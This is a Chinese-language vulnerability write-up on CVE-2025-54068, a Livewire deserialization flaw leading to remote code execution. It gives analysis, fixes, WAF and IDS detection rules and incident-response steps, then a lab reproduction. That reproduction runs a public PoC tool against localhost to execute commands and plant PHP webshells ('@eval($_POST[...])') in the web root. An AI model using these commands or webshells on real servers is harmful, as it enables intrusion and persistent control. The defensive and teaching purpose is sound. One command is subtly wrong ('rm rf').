livewire/CVE-2025-54068
🎯 Laravel Livewire CVE-2025-54068 漏洞分析
漏洞编号: CVE-2025-54068
组件: Livewire(Laravel 生态组件)
漏洞类型: 反序列化 / 组件状态篡改 → 远程代码执行(RCE)
成因: 前端可控组件 state 在服务端 hydrate 阶段未严格校验签名或类型
影响面: 使用 Livewire 动态组件且未开启完整签名校验的应用
说明:该漏洞披露于 2025 年 Livewire 安全公告及社区补丁分析,核心问题为组件 state 在服务端 hydrate 阶段信任客户端数据,攻击者可构造恶意 payload 触发危险方法执行。
一、漏洞原理分析
Livewire 的工作机制:
- 前端页面加载组件
- 用户交互 → 发送 JSON state
- 后端 hydrate 组件对象
- 执行方法
- 返回 diff 更新 DOM
🚨 漏洞根因
在旧版本中:
$component = unserialize($request->input('state'));
或者:
$component->hydrate($request->input('data'));
问题:
-
客户端可控 state
-
未校验签名
-
未限制可序列化类
-
存在魔术方法 destruct / invoke
👉 可构造 Gadget Chain 实现 RCE
二、漏洞原理图示说明
1️⃣ 正常数据流
flowchart LR
A[Browser] -->|JSON state| B[Livewire Controller]
B --> C[Hydrate Component]
C --> D[Call Method]
D --> E[Return HTML diff]
2️⃣ 攻击数据流
flowchart LR
A[Attacker] -->|恶意 state| B[Livewire Endpoint]
B --> C[反序列化]
C --> D[触发魔术方法]
D --> E[执行系统命令]
三、攻击链路构建
阶段 1:信息收集
-
识别 Livewire endpoint
-
抓包分析
/livewire/message/*
阶段 2:Payload 构造 -
构造恶意组件 state
-
注入带 __destruct() 的对象
阶段 3:反序列化触发 -
服务器 hydrate
-
PHP 执行 magic method
阶段 4:命令执行
cat /etc/passwd
whoami
四、DFD 威胁建模
[Attacker]
|
| POST JSON
v
[Livewire Controller]
|
| unserialize()
v
[Component Object]
|
v
[PHP Runtime]
|
v
[System Command]
五、STRIDE 威胁分析
| 威胁 | 体现 |
|---|---|
| Spoofing | 构造伪造 state |
| Tampering | 修改组件内部属性 |
| Repudiation | 难以追踪 |
| Information Disclosure | 可读取系统文件 |
| DoS | 构造死循环对象 |
| Elevation | RCE 获取 WebShell |
六、MITRE ATT&CK 映射
| 战术 | 技术 | 映射 |
|---|---|---|
| Initial Access | Exploit Public-Facing App | T1190 |
| Execution | Command and Scripting | T1059 |
| Persistence | Web Shell | T1505.003 |
| Privilege Escalation | Exploit for Privilege Escalation | T1068 |
| Defense Evasion | Obfuscated Payload | T1027 |
| Discovery | System Information | T1082 |
七、修复建议
1️⃣ 官方推荐
-
升级至最新 Livewire 版本
-
启用 state 签名校验
-
禁止 unserialize()
2️⃣ 代码级修复建议
❌ 漏洞代码
$state = $request->input('state');
$component = unserialize($state);
✅ 安全写法
use Illuminate\Support\Facades\Crypt;
$state = $request->input('state');
if (! hash_equals(
hash_hmac('sha256', $state, config('app.key')),
$request->input('signature')
)) {
abort(403);
}
$component = json_decode($state, true);
✅ 限制允许类
unserialize($state, ['allowed_classes' => false]);
八、检测与防护规则
🛡 1️⃣ Nginx 检测规则
location ~ /livewire/message/ {
if ($request_body ~* "(O:[0-9]+:"|__destruct|__invoke|system()") {
return 403;
}
}
🛡 2️⃣ ModSecurity 规则
SecRule REQUEST_URI "@contains /livewire/message/" \
"phase:2,chain,deny,status:403,msg:'Livewire RCE Attempt'"
SecRule REQUEST_BODY "(?i)(O:[0-9]+:"|__destruct|__invoke|system()" \
"t:none"
🛡 3️⃣ Suricata IDS
alert http any any -> any any (
msg:"Livewire CVE-2025-54068 RCE Attempt";
http.uri; content:"/livewire/message/";
http.client_body; pcre:"/O:[0-9]+:"/i";
sid:5406801;
rev:1;
)
九、应急响应流程
1️⃣ 立即隔离
iptables -A INPUT -s 攻击IP -j DROP
2️⃣ 日志排查
grep livewire storage/logs/laravel.log
grep "O:" access.log
3️⃣ 检查 WebShell
find /var/www -type f -name "*.php" -mtime -3
grep -R "system(" /var/www
4️⃣ 查看异常进程
ps aux | grep www-data
5️⃣ 检查反弹连接
netstat -antp | grep ESTABLISHED
十、完整攻击生命周期图
flowchart TD
A[扫描 Livewire]
B[构造恶意 state]
C[POST 到 /livewire/message]
D[反序列化]
E[执行命令]
F[写入 WebShell]
G[持久化控制]
A --> B --> C --> D --> E --> F --> G
十一、风险评级
| 项目 | 等级 |
|---|---|
| 利用难度 | 中 |
| 自动化程度 | 高 |
| 危害级别 | 极高 |
| 是否可 RCE | 是 |
| 综合评级 | 🔥🔥🔥🔥🔥 |
十二、总结
CVE-2025-54068 本质是:
不可信客户端 state 被服务端反序列化
导致对象注入
触发魔术方法
实现远程代码执行
属于 典型 PHP 反序列化链漏洞。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞复现
利用github现成的Poc。
git clone https://github.com/synacktiv/Livepyre.git
cd Livepyre
pip install -r requirements.txt
该虚拟机版本需要激活venv环境才能安装python模块。
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python Livepyre.py -u http://localhost:8080/ -f system -p 'whoami' -F # 需要增加-F选线,否则会报错
查看id, ps aux等用户标识,或主机进程信息。
python Livepyre.py -u http://localhost:8080/ -f system -p 'id' -F
python Livepyre.py -u http://localhost:8080/ -f system -p 'ps aux' -F
通常SRC或实际渗透测试过程中,由于合规报告和法律等影响,操作到上述步骤就行了。但是实际攻防对抗当中,这里可能还不够,需要红队进一步写入webshell利用。
python Livepyre.py -u http://localhost:8080/ -f system -p 'printf "<?php @eval($_POST["cmd"]); ?>" > /var/www/html/livewire-playground/public/backdoor.php' -F
python Livepyre.py -u http://localhost:8080/ -f system -p 'ls -al /var/www/html/livewire-playground/public/backdoor.php' -F
查看当前目录,并写入一个等效的evil.php方便后面的文件删除。
python Livepyre.py -u http://localhost:8080/ -f system -p 'pwd' -F
python Livepyre.py -u http://localhost:8080/ -f system -p 'printf "<?php system($_POST["cmd"]); ?>" > /var/www/html/livewire-playground/public/evil.php' -F
python Livepyre.py -u http://localhost:8080/ -f system -p 'ls -al /var/www/html/livewire-playground/public/evil.php' -F
上图后续,可以看到backdoor.php被成功写入该网站。
python Livepyre.py -u http://localhost:8080/ -f system -p 'ls -al /var/www/html/livewire-playground/public' -F
python Livepyre.py -u http://localhost:8080/ -f system -p 'rm rf /var/www/html/livewire-playground/public/backdoor.php' -F
同理,看到backdoor.php被成功删除。这里不建议删除网站原有的目录,否则会影响该网站的正常业务。
注意:上传后门文件和删除网站文件在实际SRC和渗透测试是绝对不允许的!这里仅作学习探讨和演示,读者对目标网站进行如此操作需自行承担后果。
参考文章:
1.Laravel Livewire远程代码执行漏洞(CVE-2025-54068)分析与复现 -先知社区 xz.aliyun.com/news/91221
创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。